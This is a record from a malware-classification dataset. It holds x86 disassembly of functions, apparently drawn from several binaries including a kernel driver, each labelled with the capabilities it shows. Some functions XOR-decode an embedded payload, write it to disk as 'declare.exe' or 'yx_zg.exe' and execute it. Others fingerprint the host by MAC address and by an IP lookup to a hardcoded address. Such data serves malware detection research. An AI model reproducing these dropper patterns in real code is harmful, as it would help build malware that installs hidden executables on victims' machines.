joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Get mac address on windows

Disassembly:
sub esp, 8
mov eax, dword [0x45b6e4]
xor eax, esp
mov dword [esp + 4], eax
lea eax, [esp]
push eax
push 0
mov dword [esp + 8], 0
call sub.iphlpapi.dll_GetAdaptersInfo
test eax, eax
je 0x40103b
cmp eax, 0x6f
je 0x40103b
xor eax, eax
mov ecx, dword [esp + 4]
xor ecx, esp
call fcn.0042dec1
add esp, 8
ret
mov ecx, dword [esp]
push esi
push ecx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x401064
lea edx, [esp + 4]
push edx
push esi
call sub.iphlpapi.dll_GetAdaptersInfo
test eax, eax
je 0x401076
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
xor eax, eax
pop esi
mov ecx, dword [esp + 4]
xor ecx, esp
call fcn.0042dec1
add esp, 8
ret
movzx eax, byte [esi + 0x199]
movzx ecx, byte [esi + 0x198]
movzx edx, byte [esi + 0x197]
push eax
movzx eax, byte [esi + 0x196]
push ecx
movzx ecx, byte [esi + 0x195]
push edx
movzx edx, byte [esi + 0x194]
push eax
push ecx
push edx
push str._02X_02X_02X_02X_02X_02X
push edi
call fcn.0042ded0
add esp, 0x20
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov ecx, dword [esp + 8]
pop esi
xor ecx, esp
mov eax, 1
call fcn.0042dec1
add esp, 8
ret

Function at 0x403300
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x403319
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x403354
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x403350
lea ebx, [ebx]
cmp esi, eax
jae 0x403354
sub ecx, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x403340
cmp esi, eax
jb 0x40335a
pop esi
pop edi
xor eax, eax
pop ebx
ret
mov ax, word [esi]
neg ax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret
Function at 0x40ed80
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Receive data
Receive data on socket
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
sub esp, 0x18
mov eax, dword [0x45b6e4]
xor eax, esp
mov dword [esp + 0x10], eax
push ebp
push esi
xor eax, eax
push edi
xor ebp, ebp
push 0x400
mov word [esp + 0x10], bp
mov dword [esp + 0x12], eax
mov dword [esp + 0x16], eax
mov dword [esp + 0x1a], eax
mov word [esp + 0x1e], ax
call fcn.00411c8a
add esp, 4
push 6
push 1
push 2
mov edi, eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x40ee7c
push str.180.149.136.219
mov word [esp + 0x10], 2
call dword [sym.imp.WS2_32.dll_inet_addr]
push 0x50
mov dword [esp + 0x14], eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0xe], ax
push 0x10
lea eax, [esp + 0x10]
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x40ee7c
push ebx
push str.GET__iplookup_iplookup.php_ip_s_HTTP_1.1_r_nHost:_int.dpool.sina.com.cn_r_n_r_n
push edi
call fcn.0042ded0
mov eax, edi
add esp, 0xc
lea edx, [eax + 1]
jmp 0x40ee20
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x40ee20
push 0
sub eax, edx
push eax
push edi
push esi
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x40ee3e
xor ebp, ebp
jmp 0x40ee7c
push 0x400
push 0
push edi
call fcn.00430890
add esp, 0xc
push 0
push 0x400
push edi
push esi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jg 0x40ee65
xor ebp, ebp
jmp 0x40ee7c
push 0x45064c
push edi
call fcn.0042f030
add esp, 8
test eax, eax
je 0x40ee7c
mov ebp, 1
push edi
call fcn.00411c8f
add esp, 4
cmp esi, 0xffffffff
je 0x40ee91
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [esp + 0x1c]
pop edi
pop esi
mov eax, ebp
pop ebp
xor ecx, esp
call fcn.0042dec1
add esp, 0x18
ret
Function at 0x40fed0
Capabilities:
Create thread
Get number of processors

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x449168
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push ebx
push ebp
push esi
push edi
mov eax, dword [0x45b6e4]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
mov esi, ecx
call fcn.004160d2
mov eax, dword [esi + 0x20]
push 0
push eax
call dword [sym.imp.USER32.dll_GetSystemMenu]
push eax
call fcn.00417cbc
mov ebp, eax
test ebp, ebp
je 0x40ffb7
call fcn.0041214d
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40ff3a
push 0x80004005
call fcn.00402cc0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
lea edi, [eax + 0x10]
mov dword [esp + 0x18], edi
push 0x65
mov dword [esp + 0x3c], 0
call fcn.00411d14
test eax, eax
je 0x40ff6d
push 0x65
push eax
lea ecx, [esp + 0x20]
call fcn.004031f0
mov edi, dword [esp + 0x18]
cmp dword [edi - 0xc], 0
je 0x40ff93
mov ecx, dword [ebp + 4]
mov ebx, dword [sym.imp.USER32.dll_AppendMenuW]
push 0
push 0
push 0x800
push ecx
call ebx
mov edx, dword [ebp + 4]
push edi
push 0x10
push 0
push edx
call ebx
lea eax, [edi - 0x10]
mov dword [esp + 0x38], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40ffb7
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esi + 0x74]
mov edx, dword [esi + 0x20]
mov edi, dword [sym.imp.USER32.dll_SendMessageW]
push ecx
push 1
push 0x80
push edx
call edi
mov eax, dword [esi + 0x74]
mov ecx, dword [esi + 0x20]
push eax
push 0
push 0x80
push ecx
call edi
push 0
push 0x80
push 0x40000
mov ecx, esi
call fcn.00417dee
push 0
lea edx, [esp + 0x20]
push edx
push 0
push 0x30
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x28]
mov edx, dword [esp + 0x24]
push 1
sub ecx, eax
push ecx
mov ecx, dword [esp + 0x24]
sub edx, ecx
push edx
push eax
push ecx
mov ecx, esi
call fcn.00417e74
mov ecx, dword [esp + 0x24]
sub ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x20]
push 1
push 0
push 0
push eax
add ecx, 0x780
push ecx
push 0
mov ecx, esi
call fcn.00418098
push 0
push 0
push esi
push 0x411560
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, dword [esi + 0x20]
push 0
push 0x124f80
push 0x64
push edx
call dword [sym.imp.USER32.dll_SetTimer]
mov eax, 1
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x410260
Capabilities:
Create process on windows
Query environment variable

Disassembly:
push 0xffffffffffffffff
push 0x4488eb
mov eax, dword fs:[0]
push eax
sub esp, 0x210
mov eax, dword [0x45b6e4]
xor eax, esp
mov dword [esp + 0x20c], eax
push esi
push edi
mov eax, dword [0x45b6e4]
xor eax, esp
push eax
lea eax, [esp + 0x21c]
mov dword fs:[0], eax
call dword [0x45ca7c]
push 0x206
lea eax, [esp + 0x16]
push 0
push eax
mov word [esp + 0x1c], 0
call fcn.00430890
add esp, 0xc
lea esi, [esp + 0xc]
call fcn.0040e880
push 0x208
lea ecx, [esp + 0x14]
push ecx
push 0x450714
mov dword [esp + 0x230], 0
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea edi, [esp + 0x10]
add edi, 0xfffffffe
lea ebx, [ebx]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x4102f0
mov edx, dword [0x45071c]
mov dword [edi], edx
lea edi, [esp + 0x10]
add edi, 0xfffffffe
jmp 0x410310
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x410310
mov ecx, 8
mov esi, 0x450720
push 2
rep movsd dword es:[edi], dword [esi]
push 0x450900
lea ecx, [esp + 0x14]
call fcn.0040c890
mov eax, dword [esp + 0xc]
push 0
push 0
push eax
lea ecx, [esp + 0x1c]
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [esp + 0x224], 0xffffffff
mov eax, dword [esp + 0xc]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x41037e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x21c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [esp + 0x20c]
xor ecx, esp
call fcn.0042dec1
add esp, 0x21c
ret

Function at 0x410ec0
Capabilities:
Create process on windows
Encode data using xor
Query environment variable
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x21c
mov eax, dword [0x45b6e4]
xor eax, esp
mov dword [esp + 0x214], eax
push esi
push edi
push 0x206
lea eax, [esp + 0x16]
push 0
push eax
mov word [esp + 0x1c], 0
call fcn.00430890
add esp, 0xc
call fcn.00410dd0
test al, al
jne 0x410fb3
push 0x208
lea ecx, [esp + 0x14]
push ecx
push 0x450714
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea edi, [esp + 0x10]
add edi, 0xfffffffe
lea ebx, [ebx]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x410f20
mov ecx, 6
mov esi, str.declare.exe
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
xor eax, eax
mov cl, 0x1c
mov edi, edi
xor byte [eax + 0x531b98], cl
add eax, 1
cmp eax, 0x14b610
jl 0x410f40
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
lea edx, [esp + 0x28]
push edx
mov dword [esp + 0x28], 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x410f9b
push 0
lea eax, [esp + 0x10]
push eax
push 0x14b610
push 0x531b98
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
lea ecx, [esp + 0x1c]
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, dword [esp + 0x21c]
pop edi
pop esi
xor ecx, esp
call fcn.0042dec1
add esp, 0x21c
ret
Function at 0x410fd0
Capabilities:
Create process on windows
Encode data using xor
Query environment variable
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x218
mov eax, dword [0x45b6e4]
xor eax, esp
mov dword [esp + 0x210], eax
push esi
push 0x206
lea eax, [esp + 0xe]
push 0
push eax
mov word [esp + 0x14], 0
call fcn.00430890
add esp, 0xc
call fcn.00410dd0
test al, al
jne 0x4110f3
push 0x208
lea ecx, [esp + 0xc]
push ecx
push 0x450714
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea eax, [esp + 8]
add eax, 0xfffffffe
lea esp, [esp]
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x411030
mov edx, dword [str.yx_zg.exe]
mov ecx, dword [0x450934]
mov dword [eax], edx
mov edx, dword [0x450938]
mov dword [eax + 4], ecx
mov ecx, dword [0x45093c]
mov dword [eax + 8], edx
mov edx, dword [0x450940]
mov dword [eax + 0xc], ecx
mov cx, word [0x450944]
mov dword [eax + 0x10], edx
mov word [eax + 0x14], cx
xor eax, eax
mov cl, 0x1c
jmp 0x411080
xor byte [eax + 0x45cc98], cl
add eax, 1
cmp eax, 0xd4f00
jl 0x411080
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
lea edx, [esp + 0x20]
push edx
mov dword [esp + 0x20], 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4110db
push 0
lea eax, [esp + 8]
push eax
push 0xd4f00
push 0x45cc98
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
lea ecx, [esp + 0x14]
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, dword [esp + 0x214]
pop esi
xor ecx, esp
call fcn.0042dec1
add esp, 0x218
ret

Function at 0x412ba9
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push esi
mov esi, ecx
and dword [esi + 0x10], 0
and dword [esi + 0xc], 0
mov dword [esi + 4], eax
mov eax, dword [ebp + 8]
test eax, eax
mov dword [esi], vtable.CInternetSession.0
jne 0x412bd2
call fcn.00413f40
mov eax, dword [eax + 0x10]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
call dword [sym.imp.WININET.dll_InternetOpenW]
test eax, eax
mov dword [esi + 8], eax
jne 0x412bf5
push eax
push dword [esi + 4]
call fcn.00412b34
push esi
push eax
mov ecx, 0x67d53c
call fcn.00412807
mov eax, esi
pop esi
pop ebp
ret 0x18
Function at 0x4150e7
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
cmp dword [ebp + 0xc], ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
je 0x41512d
call fcn.00413f40
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x41512d
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [ebp - 4], eax
je 0x415170
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
je 0x415159
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x415159
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x4c], 0
je 0x41516d
mov ecx, dword [esi + 0x4c]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x41e2a3
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push ebp
push esi
push edi
xor edi, edi
xor ebx, ebx
cmp dword [esp + 0x14], edi
mov ebp, ecx
je 0x41e2e6
call fcn.00413f40
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x41e2e6
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x41e301
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
push ebx
mov ecx, ebp
call fcn.0041de5d
test ebx, ebx
mov esi, eax
je 0x41e2ff
test edi, edi
je 0x41e2ff
push edi
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x41ec0c
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x41ec3a
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x41ec58
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0041eb76
jmp 0x41ec58
mov eax, dword [esi + 0x14]
test eax, eax
je 0x41ec58
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
push eax
mov ecx, esi
call fcn.0041eb76
test edi, edi
mov eax, edi
jne 0x41ec42
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
mov ecx, dword [0x67f1e0]
test ecx, ecx
je 0x41ed1b
jmp 0x41ec0b
ret 8
Function at 0x41fc96
Capabilities:
Read file on windows

Disassembly:
cmp dword [esp + 8], 0
push esi
mov esi, ecx
jne 0x41fc9f
xor eax, eax
jmp 0x41fd08
cmp dword [esp + 8], 0
jne 0x41fcab
call fcn.00411fdb
push edi
push dword [esi + 0x10]
push dword [esp + 0x14]
push 1
push dword [esp + 0x18]
call fcn.00432e29
mov edi, eax
add esp, 0x10
test edi, edi
jne 0x41fce6
push dword [esi + 0x10]
call fcn.00432b6e
test eax, eax
pop ecx
jne 0x41fce6
mov esi, dword [esi + 0xc]
call fcn.00430364
push esi
push dword [eax]
push 1
call fcn.0042b0f1
push dword [esi + 0x10]
call fcn.00432b9d
test eax, eax
pop ecx
je 0x41fd05
push dword [esi + 0x10]
call fcn.00432ac2
push eax
call fcn.00403370
pop ecx
pop ecx
jmp 0x41fcd4
mov eax, edi
pop edi
pop esi
ret 8

Function at 0x41fd11
Capabilities:
Write file on windows

Disassembly:
cmp dword [esp + 4], 0
push esi
mov esi, ecx
jne 0x41fd1b
call fcn.00411fdb
push dword [esi + 0x10]
push dword [esp + 0x10]
push 1
push dword [esp + 0x14]
call fcn.0042f604
add esp, 0x10
cmp eax, dword [esp + 0xc]
je 0x41fd48
mov esi, dword [esi + 0xc]
call fcn.00430364
push esi
push dword [eax]
push 1
call fcn.0042b0f1
pop esi
ret 8

Function at 0x42dec1
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x45b6e4]
jne 0x42decb
repz ret
jmp fcn.004350cf
Function at 0x440357
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.00434ab6
xor ebx, ebx
cmp dword [0x67fff4], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x44042c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x440397
xor eax, eax
jmp 0x4404f0
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x440390
push eax
call fcn.00434a53
mov dword [esp], 0x44e558
push edi
mov dword [0x67fff4], eax
call esi
push eax
call fcn.00434a53
mov dword [esp], 0x44e544
push edi
mov dword [0x67fff8], eax
call esi
push eax
call fcn.00434a53
mov dword [0x67fffc], eax
lea eax, [ebp - 8]
push eax
call fcn.0042f98f
test eax, eax
pop ecx
pop ecx
je 0x4403fa
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0042e39f
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x44042c
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.00434a53
cmp eax, ebx
pop ecx
mov dword [0x680004], eax
je 0x44042c
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00434a53
pop ecx
mov dword [0x680000], eax
mov eax, dword [0x680000]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x4404a5
cmp dword [0x680004], esi
je 0x4404a5
push eax
call fcn.00434abf
pop ecx
call eax
cmp eax, ebx
je 0x440472
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x680004]
call fcn.00434abf
pop ecx
call eax
test eax, eax
je 0x440472
test byte [ebp - 0x18], 1
jne 0x4404a5
lea eax, [ebp - 0xc]
push eax
call fcn.0042f9c6
test eax, eax
pop ecx
je 0x44048d
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0042e39f
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x44049c
or dword [ebp + 0x10], 0x200000
jmp 0x4404d6
or dword [ebp + 0x10], 0x40000
jmp 0x4404d6
mov eax, dword [0x67fff8]
cmp eax, esi
je 0x4404d6
push eax
call fcn.00434abf
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x4404d6
mov eax, dword [0x67fffc]
cmp eax, esi
je 0x4404d6
push dword [ebp - 4]
push eax
call fcn.00434abf
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x67fff4]
call fcn.00434abf
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x446c08
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x45b6e4]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.00446b9d
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.00430890
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x446c57
cmp dword [ebp - 0x1c], 5
jb 0x446c6f
jmp 0x446c6b
cmp dword [ebp - 0x10], 1
jne 0x446c6f
cmp dword [ebp - 0x1c], 4
ja 0x446c6b
jne 0x446c6f
cmp dword [ebp - 0x18], 0
jbe 0x446c6f
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x44fe90
call fcn.00446a8e
test eax, eax
jge 0x446c90
mov byte [0x6801a8], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0042dec1
add ebp, 0x78
leave
ret
Function at 0x11648
Capabilities:
Set registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
push esi
xor esi, esi
mov dword [ebp - 0x14], eax
lea eax, [ebp - 4]
push eax
push esi
push esi
push esi
lea eax, [ebp - 0x1c]
push eax
push 0x20006
lea eax, [ebp + 8]
push eax
mov dword [ebp - 4], esi
mov dword [ebp - 0x1c], 0x18
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x10], 0x240
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], esi
call dword [sym.imp.ntoskrnl.exe_ZwCreateKey]
cmp eax, esi
jl 0x116bd
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ntoskrnl.exe_ZwSetValueKey]
push dword [ebp + 8]
mov esi, eax
call dword [sym.imp.ntoskrnl.exe_ZwFlushKey]
push dword [ebp + 8]
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov eax, esi
pop esi
leave
ret 0x14

Function at 0x11c78
Capabilities:
Check os version

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [sym.imp.ntoskrnl.exe_KeTickCount]
sub esp, 0x1c
push esi
jmp 0x11c8a
pause
mov ecx, dword [eax + 4]
mov esi, dword [eax]
mov edx, dword [eax + 8]
cmp ecx, edx
jne 0x11c88
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.ntoskrnl.exe_KeQuerySystemTime]
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.ntoskrnl.exe_ExSystemTimeToLocalTime]
lea eax, [ebp - 0xc]
push eax
call fcn.00011a5a
lea eax, [ebp - 4]
push eax
call fcn.0001d882
mov ecx, eax
xor edx, edx
add ecx, 3
mov eax, esi
div ecx
movzx eax, byte [ebp - 0xb]
push 0x114
push 0
mov esi, 0x27ba0
push esi
add edx, eax
movzx eax, byte [ebp - 7]
add edx, eax
movzx eax, byte [ebp - 8]
add edx, eax
movzx eax, byte [ebp - 9]
add edx, eax
movzx eax, byte [ebp - 0xa]
add eax, dword [ebp - 0x14]
add eax, edx
mov dword [ebp - 0x14], eax
call fcn.0001d82e
add esp, 0xc
push esi
mov dword [0x27ba0], 0x114
call dword [sym.imp.ntoskrnl.exe_RtlGetVersion]
pop esi
test eax, eax
jne 0x11d35
cmp dword [0x27ba4], 6
jb 0x11d35
push dword [ebp - 0x14]
call dword [sym.imp.ntoskrnl.exe_srand]
pop ecx
call dword [sym.imp.ntoskrnl.exe_rand]
leave
ret
mov ecx, dword [ebp - 0x14]
mov eax, 0x3039
test ecx, ecx
jne 0x11d4f
mov ecx, dword [0x24938]
imul ecx, ecx, 0x41c64e6d
add ecx, eax
imul ecx, ecx, 0x3e39b193
sub eax, ecx
shr eax, 0x10
and eax, 0x7fff
leave
ret
Function at 0x13600
Capabilities:
Complete processing asynchronous io request

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
call fcn.00011e64
test al, al
je 0x13614
pop ebp
jmp fcn.00013570
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + 0x60]
push esi
mov esi, dword [ebp + 8]
push esi
call fcn.00012c0a
cmp al, 1
je 0x1365a
movzx eax, byte [edx]
mov eax, dword [eax*4 + 0x24980]
test eax, eax
je 0x1363f
push ecx
push esi
call eax
jmp 0x136da
and dword [ecx + 0x1c], 0
mov esi, 0xc0000010
xor dl, dl
mov dword [ecx + 0x18], esi
call dword [sym.imp.ntoskrnl.exe_IofCompleteRequest]
mov eax, esi
jmp 0x136da
cmp byte [0x24930], 0
push edi
mov edi, dword [esi + 0x28]
jne 0x13693
mov al, byte [edx]
test al, al
je 0x136d1
cmp al, 0xf
je 0x1367f
cmp al, 0x12
jne 0x13693
push edx
push ecx
push esi
call fcn.00012cfa
jmp 0x136d9
movzx eax, byte [edx + 1]
dec eax
je 0x136c7
dec eax
je 0x136bd
sub eax, 5
je 0x136b3
sub eax, 4
je 0x136a9
inc byte [ecx + 0x23]
add edx, 0x24
mov dword [ecx + 0x60], edx
mov edx, ecx
mov ecx, dword [edi + 0xc]
call dword [sym.imp.ntoskrnl.exe_IofCallDriver]
jmp 0x136d9
push edx
push ecx
push esi
call fcn.00012e50
jmp 0x136d9
push edx
push ecx
push esi
call fcn.0001306c
jmp 0x136d9
push edx
push ecx
push esi
call fcn.00012e02
jmp 0x136d9
push edx
push ecx
push esi
call fcn.00012d72
jmp 0x136d9
push edx
push ecx
push esi
call fcn.00012c2e
pop edi
pop esi
pop ebp
ret 8